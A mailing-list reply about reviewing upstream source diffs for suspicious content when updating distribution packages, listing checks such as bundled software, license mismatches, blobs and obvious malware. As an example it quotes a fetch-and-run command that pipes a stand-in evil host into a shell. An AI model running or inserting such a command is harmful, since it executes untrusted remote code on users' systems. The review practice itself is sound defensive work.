Re: Reviewing the diff when updating a package?

[Maxime Devos]

Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]:
> Hello Maxime,
> 
> Maxime Devos <maximedevos@telenet.be> writes:
> 
> > Patch is not yet ready (I'm looking at the source code diff for
> > anything ‘suspicious’), just reserving a bug number and avoiding double
> > work.  Will send an actual patch later.
> 
> I hope you don't mind me asking what do you mean by ‘suspicious’?
> 
> Is it reviewing the code for security concerns?

That (to a limited degree), and other things.

> 
> I ask because I've wondered sometimes whether contributors updating a
> package to a new version should review the new source code.

I don't think it's feasible for, say, large things like GCC and Linux.
But for smaller things with smaller diffs, say a hypothetical npm-
event-stream package, it would easily avoid things like the compromise
described in <https://lwn.net/Articles/773121/>.

While we cannot feasibly protect users against more ‘hidden’ malware
(e.g. some non-obvious remote code execution in C that then will be
exploited by the upstream authors), the more obvious ‘here's a blob you
don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
is an important property of a distribution.

I look for the following things:

  1. additional bundled software
  2. code with a different license than mentioned in the 'license'
     field (especially if it's propietary)
  3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
  4. blobs (possibly hiding malware)
  5. things that look like bugs (e.g. not checking the return value of
     'malloc' for NULL, not escaping things written to HTML documents
      ...)

I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
through the code and don't do any detailed analysis

(*) more specifically, some code not checking for NULL and an URL being
embedded in the 'href' attribute of an XML element without escaping.


Greetings,
Maxime.

signature.asc
Description: This is a digitally signed message part